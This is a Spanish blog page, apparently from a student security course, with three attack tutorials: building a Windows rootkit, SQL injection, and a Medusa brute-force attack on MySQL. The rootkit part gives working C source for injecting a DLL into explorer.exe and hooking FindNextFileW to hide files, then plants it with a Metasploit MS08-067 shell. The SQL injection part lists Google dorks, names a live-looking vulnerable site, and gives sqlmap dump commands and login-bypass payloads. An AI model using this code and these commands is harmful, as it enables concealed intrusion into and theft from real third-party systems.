Category: Ataques


¿CÓMO CREAR UN ROOTKIT?

Rootkit + Backdoor + Exploit (Metasploit)

:: S7K ::

ADVERTENCIA: La información aquí expuesta es usada para fines académicos, no nos hacemos responsables del mal manejo que se le dé a la información, el propósito de éste artículo es dar informar para que usted pueda prevenir este tipo de ataques. 

1.- INTRODUCCIÓN

Para poder entender parte del código fuente que se expondrá es necesario tener conocimientos de C/C++ y saber manejar de punteros, además tener una idea sobre ensamblador pero de todas formas puedes consultar en internet si no conoces alguna instrucción, hay mucha información al respecto y muy bien explicada pero seré lo más explícito posible.

También quiero agradecer a E0N porque por su tutorial pude entender y aprender sobre rootkits y su guía me sirvió mucho de ejemplo.

1.1 OBJETIVOS

El objetivo de todo este artículo es en primer lugar entender cómo funciona un rootkit para luego poder crear el nuestro y hacerle los cambios/mejoras al código fuente.

1.2 INDICACIONES:

Haremos un rootkit a nivel de usuario (el rootkit a nivel de kernel es mucho más difícil de detectar pero es más complicado, tendrías que saber programar drivers, sí, de esos que te bajas cuando instalas tu tarjeta de video).

Usaremos el Visual C++ 6 de Microsoft para compilar y también usaremos a nuestro gran amigo Metasploit para aprovecharnos de la MS08-067 (http://support.microsoft.com/kb/958644/es) y abrir una Shell Remota  en la máquina de la víctima (>:D) para poder infectar con nuestro rootkit (después de todo si aprendemos como hacerlo pero no sabemos cómo ponerlo a “trabajar” no nos serviría de mucho leer tanto).

En este artículo aprenderemos 4 cosas:

  1. Que es un rootkit y cómo funciona.

  2. Aprender a inyectar DLL (librerías).

  3. Aprender a “hookear” (API hooking).

  4. Como hacer un ataque para infectar a otros con nuestro rootkit.

2.- EMPEZANDO

2.1 – ¿Qué es un rootkit?

Un rootkit es una herramienta (malware) que permite ocultar procesos, archivos y conexiones al usuario de un sistema. Pero no me refiero a ponerle atributo de oculto a un archivo, hablo de engañar a las propias herramientas del sistema operativo para que piensen que cierto recurso(archivo, conexión, proceso) no existe.

Imaginen lo que podemos hacer, podemos tener control total del sistema y decidir qué es lo que el usuario ve o no ve, podemos copiarle gigas y gigas de información sin que él sepa que existen (y que no pueda encontrarlas).

¿Cómo es posible todo esto?

Lo primero a tener en cuenta es que para modificar el comportamiento de un archivo o programa debemos estar en su mismo espacio de memoria, por “default” el sistema operativo nos pone en un espacio de memoria que nadie más está ocupando (es algo obvio pero por si acaso alguno no lo sabe, lo escribo). Para hacer esto, usaremos lo que se llama Inyección DLL, podemos invadir el espacio de memoria de un programa inyectando el código directamente sin usar DLL pero eso es más complicado y pueden investigarlo luego (cuando aprendan a hacer inyección DLL).

Una vez que invadimos el espacio de memoria del programa ya podremos modificar su comportamiento y allí aplicaremos API Hooking (más abajo explico qué es, por ahora veremos unos conceptos pequeños) para interceptar las llamadas a las APIs del sistema.

¿Qué es inyección DLL?

Bueno hemos leído mucho sobre esto hasta ahora, pero si no lo tienen claro, les diré que la inyección DLL se trata de obligar a un programa o un proceso, a que cargue nuestra DLL en su propio espacio de memoria

¿Qué es API Hooking?

El API Hooking consiste en interceptar las llamadas que hace un programa a las API del sistema operativo, el objetivo de esto es modificar el comportamiento del programa alterando la respuesta que esa API le devuelve.

Si aún no tienes claro todo esto, tranquilo, luego de explicar el API Hooking y la Inyeccion DLL a fondo, vuelve a leer ésta sección.

2.2 LA INYECCION DLL

Si te estás preguntando ¿para qué queremos inyectar una DLL? La respuesta es que cada vez que el proceso víctima llame a una API del sistema, haremos que en vez de llamar esa API, llame a la función que está dentro de la DLL que nosotros le inyectamos y para poder hacer esto necesitamos estar en su mismo espacio de memoria porque no es tan simple como hacer un salto al espacio de memoria del explorer.exe o el svchost.exe

Ya se deben estar imaginando, una vez dentro del espacio de memoria de un proceso podremos saltarnos el firewall haciéndole creer al firewall que el “NOTEPAD.EXE”  quiere conectarse a internet  o que el “ARES.EXE” quiere mandar un archivo de texto a un servidor (en caso de los troyanos sería muy útil).

Esto no se tratará aquí pero si aprenden a inyectar DLL y comprenden el mecanismo (es decir cómo funciona todo) es cuestión de imaginación y leer más de programación :D.

2.2.1 Métodos de inyección:

Tenemos dos métodos para hacer la inyección: Usando DLL o inyectando código directamente.

La ventaja de usar las DLL es que la podemos programar como si fuera un programa común y corriente (si te habías preguntando como se programa una DLL ya tienes la respuesta) con la diferencia de que para ejecutarla necesitamos llamarla desde algún programa aparte (en este caso el explorer.exe será quien llame a nuestra DLL).

Como desventaja puedo mencionar que se requiere la DLL para que el rootkit funcione pero podemos usar algún Binder para unir al ejecutable con la DLL (si no sabes que es un Binder lee esto).

2.2.2 INYECTANDO CON CreateRemoteThread():

Bien, ahora todo va tomando forma, empecemos a armar nuestro escenario.

El proceso al cual le inyectaremos la DLL será al explorer.exe pero ¿que código usamos? Pues usaremos una API llamada CreateRemoteThread (a esta API la llamamos como si fuera una función cualquiera no es nada del otro mundo).

Este método es muy sencillo y en internet encuentras mucha información al respecto.

Tal y como su nombre lo dice vamos a crear un hilo remoto (o crear un hilo en un proceso remoto, como mejor lo entiendan) para ser más específicos, vamos a crear un hilo y se lo inyectaremos al explorer.exe para obligarlo a que ejecute nuestro hilo.

¿Qué hace el hilo que es tan importante? Bueno pues este hilo es el que obligará al explorer.exe a cargar nuestra DLL en memoria y a ejecutarla.

El programa del que hablamos le llamaremos INYECTOR y este es el código:

#include <windows.h>
#include <Tlhelp32.h>

void main()
{
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
int pid;

// OBTENEMOS EL PID DEL PROCESO
// (Si quieren información sobre estas APIs miren la ayuda de microsoft)

HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };

//Aquí empezamos a recorrer todos los procesos que están abiertos
while(Process32Next(handle, &procinfo))
{
if(!strcmp(procinfo.szExeFile, “explorer.exe”))//comparamos los nombres
{
CloseHandle(handle);
pid = procinfo.th32ProcessID;//guardamos el PID
}
}
CloseHandle(handle);

// INYECTAMOS LA DLL
// (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo)

proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle(“kernel32.dll”),”LoadLibraryA”);
RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen(“H:\\Dll.dll”),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso,(LPVOID)RemoteString,”H:\\Dll.dll”,strlen(“H:\\Dll.dll”),NULL);
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso);
}

Si se fijan donde dice “H:\\Dll.dll” es donde deben poner la ruta donde está ubicada su DLL (ya veremos el código de esa DLL, primero lo primero).

2.3 API HOOKING

Hasta ahora sabemos como inyectar la DLL pero aún no sabemos que hace la DLL.

Ahora que tenemos la idea de como funciona un rootkit y armamos nuestro escenario para saber como podemos inyectar la DLL y así conseguir nuestro objetivo (engañar a algún proceso o programa) vamos a conocer como hacemos para interceptar las llamadas a las API del sistema operativo desde nuestra DLL, para esto usamos el API HOOKING

La API a la que queremos “secuestrar” es la API llamada FindNextFileW que es la encargada de listar los archivos y carpetas, el explorer.exe llama a esta API para saber que archivos hay dentro de alguna carpeta.

Dentro de nuestra DLL crearemos una función llamada “Hookear()” y funciona de esta manera: Una vez que nos inyectamos,  nos metemos o invadimos el espacio de memoria de otro programa, nuestra función “Hookear()” cambiará lo que está en el espacio de memoria de la API  FindNextFileW  y en vez de la API pondrá un salto de memoria hacia nuestra función llamada miFindNextFileW (que esta programada dentro de la misma DLL) de esta manera cada vez que el explorer.exe quiera llamar a la API, lo que en realidad hará será ejecutar el salto y por lo tanto terminará ejecutando nuestra función miFindNextFileW.

Nuestra función miFindNextFileW tiene que llamar a la API original para saber que datos reales devuelve, si nosotros intentamos llamar a la API original en realidad estaríamos haciendo lo mismo que el explorer.exe es decir, ejecutando el salto que pusimos, por lo tanto llamaríamos a nuestra propia función miFindNextFileW creando un bucle infinito que no terminaría nada bonito, para resolver esto lo que haremos básicamente es mover a la API de su espacio de memoria original es decir la copiarla hacia otro lado, y solo nosotros sabríamos donde está.

 

Entonces hasta ahora tenemos lo siguiente:

Esto es lo que normalmente sucede, es decir, la API está cargada dentro del espacio de memoria del explorer.exe

Imagen1

Primero, creamos un programa (Inyector) que se encargará de hacer el trabajo sucio, es decir inyectará la DLL en algún proceso o programa (explorer.exe en este ejemplo) por medio de un hilo. En la imagen vemos como nuestra DLL fue cargada en el espacio de memoria del explorer.exe

Luego cuando el explorer.exe cargue nuestra DLL automáticamente se ejecuta el DLLMain() (es igual que el “void main()” pero de una DLL)  y dentro de ese DLLMain() llamamos a nuestra función “Hookear()” que modificará el espacio de memoria de la API FindNextFileW  para ponerle un salto hacia nuestra función miFindNextFileW.

Entonces cuando el explorer.exe quiera llamar a FindNextFileW  en realidad estaría ejecutando nuestra función miFindNextFileW, y nuestra función será la que llame a FindNextFileW , luego le decimos a nuestra función (miFindNextFileW) que si algún archivo empieza por “S7K” no lo tome en cuenta y así tenemos al explorer.exe sometido.

NOTA: Una vez que nuestro programa  “Inyector” inyecta la DLL, puede terminar su ejecución y no ha pasado nada. Pero lo pueden mejorar para que se mantenga en ejecución y le inyecte esa DLL a cualquier proceso nuevo que se cree y no solo al explorer.exe sino al WinRar.exe y al cmd.exe que son los principales programas que uso para listar archivos.

Ya vimos el código del inyector y vimos donde le decimos la ubicación de la DLL, ahora veamos el código de la función Hookear():

void Hookear()
{
DWORD ProteVieja; // Parametro para VirtualProtect
BYTE *DirFN; // La dirección en memoria de FindNextFileW
BYTE *DirYoFN; // La dirección en memoria de la función que remplaza a FindNextFileW

// –> HOOKEAMOS FINDNEXTFILEW (7 bytes)

// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle(“kernel32.dll”), “FindNextFileW”);

//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes…
// En el primero introducimos un jmp
*BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN – BufferFN + 3;

// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);

// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN – DirFN – 4;
// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

Si no se entiende no se preocupen, al final les dejo el code fuente para que lo vean con colores y sangría.

Ahora este es el código de nuestra función miFindNextFileW:

HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}

¿Sencillo no? Aquí les dejo los códigos fuentes para que los compilen con Visual C++ 6 y los prueben. Están documentados y un poquito mejorados respecto a la documentación.

http://www.mediafire.com/?2gc5gibaryqa4bw

También les dejo este video donde explico un poco el código fuente y vemos como compilarlo.

>> DESCARGAR VIDEO #1 ENTERO EN HD [AVI] <<

COMPILACIÓN DEL ROOTKIT – PARTE 1

COMPILACIÓN DEL ROOTKIT – PARTE 2

Recuerden que tenemos dos componentes. El inyector que es un “.exe” y la DLL.

########################################################################

ÚLTIMA PARTE: EL ATAQUE

########################################################################

Bien una vez que tenemos el rootkit (nuestro exe y nuestra DLL) compilado, necesitamos ejecutarlo en alguna victima.

Para esto usamos 2 máquinas virtuales: Una con XP SP3 y otra con Backtrack 5 R3

Para este ataque preferí poner un video para que sea más explicativo.

>> DESCARGAR VIDEO #2 ENTERO EN HD [AVI] <<

Ataque Rootkit + Backdoor + Exploit (Metasploit) – Parte 1

Ataque Rootkit + Backdoor + Exploit (Metasploit) – Parte 2

RECOMENDACIONES:

Para que se protejan de rootkits, usen un buen antivirus y manténganlo actualizado siempre, ojalá no les toque la mala suerte de infectarse con un rootkit a nivel de kernel, a pesar de que ya hay bastantes, existen herramientas de desinfección que te liberan de ese problema, si notas algún comportamiento raro haz un escaneo de tu disco en otra máquina que no sea la infectada.

Para que les funcione el código usen el Visual C++ 6.0 de Microsoft, deben tener conocimientos de C/C++, desilusiona mucho cuando uno sigue al pie de la letra todo pero no funciona al final, esto pasa porque no conocemos del todo lo que estamos haciendo y solo estamos obedeciendo lo que nos dice el tutorial. Busquen sobre cada función que desconozcan y entiendan que hace y como funciona. El código se ve fácil cuando sabemos para que sirve cada cosa.

Lo del Backtrack, es solo una demostración, como hagan el reverse shell depende de ustedes, si la victima usa Windows 7, el CreateRemoteThread no funcionará por cuestiones de seguridad, pero les toca investigar como hacer la inyeccion en Windows 7, con lo que vimos aquí es suficiente para que se guíen. O directamente pueden crear un “explorer.exe” que venga precargado con nuestra DLL y lo reemplazamos por el original, se me ocurren tantas cosas :D.

CONCLUSIONES:

Bien decían que Windows es un virus con interfaz gráfica, podemos aprovecharnos de sus mismas funcionalidades para hacer travesuras. Como dije anteriormente, actualicen su antivirus, si son usuarios muy avanzados se conformarán con el Security Essentials de Microsoft.

Otra conclusión importante es que el verdadero hacking no es solo seguir tutoriales y hacer cosas sin saber como funcionan en realidad, esta bien seguir tutoriales pero investiguen para que sirve cada cosa y comprendan el mecanismo, si algo del código no les sale, investiguen sobre las funciones que se usan para que las entiendan, pueden que comentan errores sin darse cuenta.

Si quieren ser hackers, tienen el camino bien difícil, lo primero es cambiar el leer manga o ver series en youtube por leer más de programación, después de todo el buffer overflow se hace en C/C++ en su mayoría de veces, deben estar actualizados con lo último en tecnología y  estudiar mucho las nuevas arquitecturas de hardware y software que van apareciendo. Esto y muchas muchas otras cosas más les ayudarán a llegar a su objetivo pero lo más importantes es amor y dedicación a la programación e informática en general. Recuerden al hacker que ganó $60000 por descubrir una vulnerabilidad en el navegador Google Chrome tuvo que saber mucho de programación para saltarse la cajita de arena (sandbox).

AUTORES:

Andrés Muñoz Ponguillo –  @Crabax

Olga Carreño Holguín - @Olguita0_0

Julio Caamaño - @caamao_julio

Victor Hugo Padilla - @victorpadilla90

–>

ATAQUE SQL INJECTION

SQL INJECTION

El siguiente ataque tiene uso académico, no nos responsabilizamos por el uso que se le dé a la información, nuestro propósito es dar a conocer esta técnica para que usted se proteja de ataques similares.

Bienvenido al interesante mundo informático, en esta ocasión tenemos el agrado de mostrarle(s) cómo realizar un ataque SQL Injection, sin embargo muy probablemente usted(es) dirá(n) ¿qué es esto?,¿En qué consiste? O ¿De qué me están hablando? Bueno tranquilo(s) que aquí vamos a explicarles en primer punto conceptos porque consideramos que para que puedan explotar lo interesante del tema, primero deben saber de lo que estamos hablando, para lo cual daremos una pequeña introducción.

1.1.- INTRODUCCIÓN

¿Qué es? ¿En qué consiste?

Muy frecuentemente se piensa que a través de SQL solamente se puede obtener acceso a la base de datos. Esto generalmente es así, pero SQL es un lenguaje muy versátil y nos permite hacer muchas cosas… entre ellas leer archivos en el disco duro.

El sql injection es un tipo de ataque a una base de datos en el cual, por la mala filtración de las variables se puede inyectar un código creado por el atacante al propio código fuente de la base de datos, consiste en la modificación del comportamiento de nuestras consultas mediante la introducción de parámetros no deseados en los campos a los que tiene acceso el usuario.

La mayoría de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de módulos separados que interaccionan entre sí a través de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas páginas utilizando variables que después utilizará para hacer las consultas pertinentes a la base de datos.

Con sql injection podemos obtener correos electrónicos y passwords de cuentas de hotmail, facebook, gmail, yahoo, entre otros.

¿Por qué es peligroso?

Porque pueden no solo sacar información de la base de datos (usuarios, contraseñas, etc.), sino también pueden borrar la base de datos, dejarla inservible.

1.1.1.- OBJETIVOS

Propósito

El propósito del ataque es acceder a pórtales web y acceder a los registros de las tablas pudiendo administrarlas a nuestro antojo.

1.2.- DIAGRAMA DEL ATAQUE

1.3.- ALCANCE

Ataque a servidores.

1.4.- GLOSARIO DE TÉRMINOS

Cliente.- Es una aplicación informática o un computador que consume un servicio remoto en otro computador conocido como servidor normalmente a través de una red de telecomunicación.

Función Booleana.- Es una función cuyo dominio son las palabras conformadas por los valores binarios 0 ó 1 (“falso” o “verdadero“, respectivamente), y cuyo codominio son ambos valores 0 y 1.

Create.- Término en inglés cuyo significado en español es Crear.

Delete.- Término en inglés cuyo significado en español es Borrar.

Google dork.-Es un parámetro de búsqueda que nos muestra un listado de páginas que tienen el formato para ser posiblemente inyectadas.

Retrieve.- Término en inglés cuyo significado en español es Recuperar.

Servidor.- Computadora que formando parte de una red provee servicios a otras computadoras denominadas clientes.

Tester.- Llámesele al individuo y/o agente encargado de realizar las pruebas.

Update.- Término en inglés cuyo significado en español es Actualizar

2.- TUTORIAL

Pasos a seguir

En este caso, lo primero que realizamos fue la búsqueda de páginas vulnerables al ataque SQL injectiom, las mismas que deben mostrar su id.

“.php=?id=#”

“.asp=?id=#”

Éste proceso lo pueden realizar de varias maneras:

1) Puedes digitar alguna GoogleDork. Ejemplo:

lnurl:php?id=

inurl:php?sid=

inurl:asp?id=

inurl:newsdetail.php?id=

inurl:index.php?id=

Cómo saber si el sitio es vulnerable o no.

Tenemos que saber si es vulnerable o no, para eso pondremos un apostrofe “ ‘ “ al final del link de la pagina que queremos vulnerar. Si nos dispara un error, quiere decir que es vulnerable, si no, quiere decir que los administradores tienen al día su sitio, sin embargo no quiere decir que no sea vulnerable, solo que requiere un grado de especialización mayor para lograr penetrar el sitio.

Ingresaremos al siguiente sitio antes de verificar si tiene vulnerabilidad.

http://microngc.net/info_page.php?id=22

http://microngc.net/info_page.php?id=22′

Al agregar el apostrofe y actualizar el link notamos el siguiente error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1.

Esto es un indicio de que la pagina es vulnerable.

Una vez que conseguí mi página vulnerable hago uso de la herramienta SqlMap que nos permite realizar la inyecciónSQL automatizada:

Abrimos la ventana de comandos del sqlmap

Colocamos la siguiente línea de comando para extraer el nombre de la base de datos de la web vulnerable:

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –-dbs

Donde –ues para colocar el URL y –-dbspara extraer el nombre de la base

Después de realizar el comando anterior procedemos a colocar la siguiente línea de comandos:

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –D (nombre_base) –-tables

Donde –Des para el nombre de la base de datos y –-tables para extraer las tablas de dicha base.

En la imagen anterior nos muestra las tablas que contiene la aplicación web, sin embargo nosotros tenemos el poder de decidir a qué tabla acceder.

Ahora procedemos a sacar las columnas de una de las tablas con el siguiente comando:

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –D (nombre_base) –T (nombre_tabla) –columns

Donde –T es para el nombre de la tabla y –-columns para extraer las columnas de dicha tabla.

Ahora procedemos a sacar los datos del campo que elegimos Ejecutamos el comando

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –D (nombre_base) –T (nombre_tabla) –C (nombre_columna) –-dump

Donde –Ces para el nombre de la columna y –-dumppara extraer la información

Bueno eso fue todo, espero que les haya gustado y sean eticos con las webs que vayan a encontrar de este tipo, no realicen modificaciones en las cuentas que logren entrar, ya que eso solamente lo harías los lammers,recuerden que el propósito de este blog es aprender para servir.

 

Otra Manera

 

Pues además de hacer uso del backtrack, también podemos emplear lógica booleana, la cual nos permitirá engañar a los pórtales web que han sido diseñados sin seguir todos los parámetros de seguridad necesarios, recordemos que nada es 100% seguro, y muchos programadores aún cometen el siguiente error:

“SELECT * FROM TRABAJADOR WHERE [clave personal]=’” & pass & “‘ AND TRABAJADOR=’” & usuario & “‘”

Seguramente si alguna vez has programado enviando datos por parámetros, te dirás, ¿qué le pasa? Ahí no hay errores, y en parte tienes razón pues no hay errores, sin embargo no estás tomando todas las medidas de seguridad necesarias, mira qué sucede si a la línea de código antes expresada le añado lo siguiente:

’ or ‘a’=‘a’

Ahora observa cómo viene a quedar la sentencia

“SELECT * FROM TRABAJADOR WHERE [clave personal] =’’ or ‘a’=‘a’‘ AND TRABAJADOR=’’ or ‘a’=‘a’‘”

En este caso, cómo ya sabemos la lógica del or tiende a dar por verdadero si al menos una de sus condiciones es verdadera, en este caso a=a.

También puedes hacerlo sin hacer la comparación:

‘or ‘ ‘=’

Sucede que el carácter que permite inyectar SQL es la comilla simple. Este carácter es interpretado por SQL como el inicio de una instrucción y podemos concatenar nuestras instrucciones si lo hacemos con habilidad.

Para este caso, tú mi querido amigo(a) quién luego de juzgarme, te has dado cuenta que no mentía, cometías el error de no filtrar la entrada. Si tan sólo hubieras aplicado un filtro para no permitir caracteres extraños, el error nunca sucedería, por tanto te recomiendo que siempre uses filtros, ah y por cierto comunícale eso a cualquier conocido que se maneje en el apasionante mundo informático.

Para que puedan poner en práctica la inyección sql con lógica booleana, les mencionaremos unas cuantas páginas vulnerables

2.1.- RECOMENDACIONES

* Lo más sensato que debemos tener en cuenta al prevenir estos ataques es filtrar el carácter ‘ (comilla simple) por “ (comilla doble), e incluso evitando que los usuarios puedan pasar caracteres como \ / “ ‘ o cualquier otro que se nos ocurra que puede causar problemas si hablamos a nivel de web, hacerlo siempre en cliente y servidor, si hablamos en un entorno de red local, filtrar la entrada del campo en el programa.
A nivel de web, si sólo se filtra en el cliente, es fácil saltarse la validación y provocar un fallo del estilo de los que hemos visto, para extraer información, de ahí la necesidad de hacerlo en el cliente.

* Otro factor importante en cuanto a la seguridad es limitar al máximo los permisos del usuario que ejecuta estas sentencias para evitar posibles problemas.

Por ejemplo utilizando un usuario distinto para
las sentencias SELECT, DELETE, UPDATE y asegurándonos que cada ejecución de una sentencia ejecute una sentencia del tipo permitido.

* Por supuesto utilizar el usuario que pertenezca al rol ‘db_owner’ para ejecutar las sentencias de uso habitual de la base de datos debería quedar descartado.

Una solución definitiva sería trabajar con procedimientos almacenados.
El modo en el que se pasan los parámetros a los procedimientos almacenados evita que la inyección SQL pueda ser usada. Por ejemplo utilizando el siguiente procedimiento almacenado:

CREATE Procedure Validar @usuario varchar (50), @passwordvarchar (50)

AS
If (SELECT Count (*) FROMUsuarios WHEREUsuario=@Usuario and Password=@password)>0
Return 1
Return 0

También deberíamos validar los datos que introduce el usuario teniendo en cuenta por ejemplo la longitud de
los campos y el tipo de datos aceptados.

Por último, podemos programar en ASP.NET y utilizar siempre que seanposibles las clases

System.Web.Security.FormsAuthentication para que los usuarios entren en nuestras aplicaciones Web.

Cómo pueden observar en el dibujo, en el usuario digitamos ‘or’1’=’1 y lo mismo en la contraseña.

Acá ya tenemos el resultado, es decir pudimos acceder a  la página deseada.

 

A continuación el video

2.1.- CONCLUSIONES

Vemos cuán peligroso puede ser este tipo de ataque, recuerden que éste se vale de las vulnerabilidades en nuestras aplicaciones, cómo mencionamos desde la introducción, se pueden obtener todos los datos que quieran de nuestra base de datos y de ficheros alojados en el servidor de tal manera que nuestros registros pierden seguridad a tal punto que podrían borrar toda la tabla con una simple línea de código.

2.2.- AUTORES

Castro Campoverde Estefania               @jocfacastro

Castro Vásquez Ketty                      @KettyCastroV

Garaicoa Prado Daniela                    @dani_garaicoa

García Ruíz Sandy                         @dayanns1990

Jiménez Fernández Thalia                       @thaijife92

ATAQUE FUERZA BRUTA A MYSQL

Imagen

ACLARACIÓN:

 El siguiente ataque tiene únicamente fines didácticos, no nos hacemos responsables por la visualización, gestión o manipulación del material presentado en esta web o de su uso

INTRODUCCIÓN:

 El ataque de fuerza bruta, es el procedimiento de cracking utilizado para obtener las claves o códigos necesarios para acceder a un equipo, sistema, sitio web, etc. consistente en utilizar bien combinaciones aleatorias bien listados de palabras, así como el método de prueba y error, hasta alcanzar una combinación correcta. Para obtenerlos se hace uso de diccionarios de palabras. 

OBJETIVO:

 El objetivo de este tipo de ataques es de obtener acceso a la maquina víctima o programa por medio de su propio user y password, por este ataque podemos acceder y obtener password de algunos servicio.

En el artículo vamos a demostrar paso a paso como funciona este ataque de FUERZA BRUTA y al servicio al que vamos a realizar el ataque es al de Mysql, además al final se presentara un vídeo por el cual pondremos en práctica todo lo explicado anteriormente.

LO QUE USAREMOS PARA EL ATAQUE:

  • Maquina virtual con Backtrack sera el Atacante
    • Herramienta de Backtrack a usar será Medusa
    • Escaneo de Puerto
    • Diccionario de Datos
  • Maquina virtual con Windows Xp (o el de su preferencia) Victima
    • Instalar Mysql

QUE ES MEDUSA:

 HERRAMIENTAS QUE TIENE INCORPORADO BACKTRACK PARA REALIZAR ATAQUES DE FUERZA BRUTA EXPLOTANDO VULNERABILIDADES DE PUERTOS ABIERTOS. 

Como utilizar eficientemente Medusa 

Antes de utilizar Medusa tenemos que estar claro en muchas cosas las cuales nos puede ahorrar mucho el trabajo, hacerlo mas cómodo o de forma eficiente, una de ella es aprendernos los parámetros o las opciones que la herramienta nos da.

Antes que todo revisar los servicios o módulos disponibles que nos presenta Medusa, debido a que cada actualización pudiese tener consigo nuevos servicios, para listar dichos módulos usamos la consola y tecleamos.

 Medusa -d

 Las opciones más interesantes para lanzar un ataque de fuerza bruta son:

 [-h host|-H file]: Mediante -h especificamos un determinado host, mientras que con -H indicamos un fichero dónde encontrar un listado de hosts a atacar.

 [-u username|-U file]: Mediante -u indicamos un usuario, mientras que con -U indicamos un diccionario con usuarios.

 [-p password|-P file]: Mediante -p indicamos una contraseña a probar o ubicación del diccionario, mientras que con -P indicamos un diccionario de contraseñas.

 -M module: Con -M indicamos un módulo de los disponibles para el protocolo o servicio que nos interese.

 -f: Detiene el Ataque en el Instante de encontrar un Password Valido

 -b: Suprime los Banners

COMO FUNCIONARA EL ATAQUE:

  1. Levantar la herramienta medusa
  2. Hacer un escaneo del puerto para verificar que nuestro ataque tenga éxito, en nuestro caso tiene que estar activo el puerto de Mysql que es el 3306
  3. Por último lo que haremos es enviar el ataque de fuerza bruta y obtendremos los resultados en este caso user y password del Mysql

EL ATAQUE:

1.- ABRIREMOS NUESTRA MAQUINA XP(VICTIMA) Y LE HAREMOS UN IPCONFIG PARA SABER SU IP

Imagen

2.-ABRIREMOS MYSQL Y ENTRAREMOS CON EL USER Y PASSWORD DEFINIDOS PARA ESTE CASO EL CUAL SERA user=root y password=abc123

Imagen

 3.-USAREMOS BACKTRACK, COMO YA SABEMOS LA IP DE LA MAQUINA VICTIMA, ABRIREMOS UN TERMINAL Y PROCEDEREMOS HACERLE UN PING A LA MAQUINA VICTIMA PARA SABER QUE ESTAMOS EN LINEA CON ELLA.

Imagen

4.-BUENO YA SABEMOS QUE HAY RESPUESTA DE LA MAQUINA VICTIMA, AHORA SI EMPEZAREMOS. LEVANTAMOS EL SERVICIO DE MEDUSA HERRAMIENTA QUE BACKTRACK TIENE INCORPORADO PARA REALIZAR ATAQUES DE FUERZA BRUTA, USAREMOS EL COMANDO sudo apt-get install medusa

Imagen

5.-UNA VEZ LEVANTADO EL SERVICIO DE MEDUSA PODEMOS VER LOS MÓDULOS QUE TIENE MEDUSA, COMO LO HACEMOS TIPEANDO EL COMANDO medusa –d

Imagen

6.-LUEGO DE ESO REALIZAREMOS UN MAPEO ALA MAQUINA VICTIMA PARA VERIFICAR QUE TENGA ABIERTO EL PUERTO QUE VAMOS ATACAR, EN ESTE CASO VAMOS ATACAR AL PUERTO 3306 QUE ES EL DE MYSQL LO HAREMOS CON EL COMANDO NMAP SEGUIDO POR LA IP VICTIMA. nmap 192.168.0.111

Imagen

7.-UNA VEZ QUE CONFIRMAMOS QUE EL PUERTO ESTA ABIERTO LANZAMOS EL ATAQUE ANTES DE ESO VERIFICAR QUE TENGAMOS NUESTRO DICCIONARIO DE DATOS O USAR EL QUE TIENE BACKTRACK POR DEFECTO YOU USARE 500-Worst-passwords.txt USTEDES PUEDEN USAR EL QUE MAS LES GUSTE (DEPENDIENDO DE QUE EXTENSO SEA SU DICCIONARIO SERA MUCHO MEJOR EL RESULTADO). USAREMOS EL COMANDO

Medusa –h 192.168.0.111 –u root –P /root/Desktop/500-Worst-passwords.txt –M Mysql –f –b 

Imagen

8.-DESPUÉS DE EVALUAR PASSWORD POR PASSWORD HASTA QUE DE CON LA QUE COINCIDA MOSTRARA UN MENSAJE QUE DICE:

ACCOUNT FOUND: [mysql] Host: 192.168.0.111 User: root Password: abc123 [SUCCESS]

Imagen

Algunas Observaciones

Existen algunos inconvenientes que debemos tener en cuenta antes de realizar un ataque de este tipo:

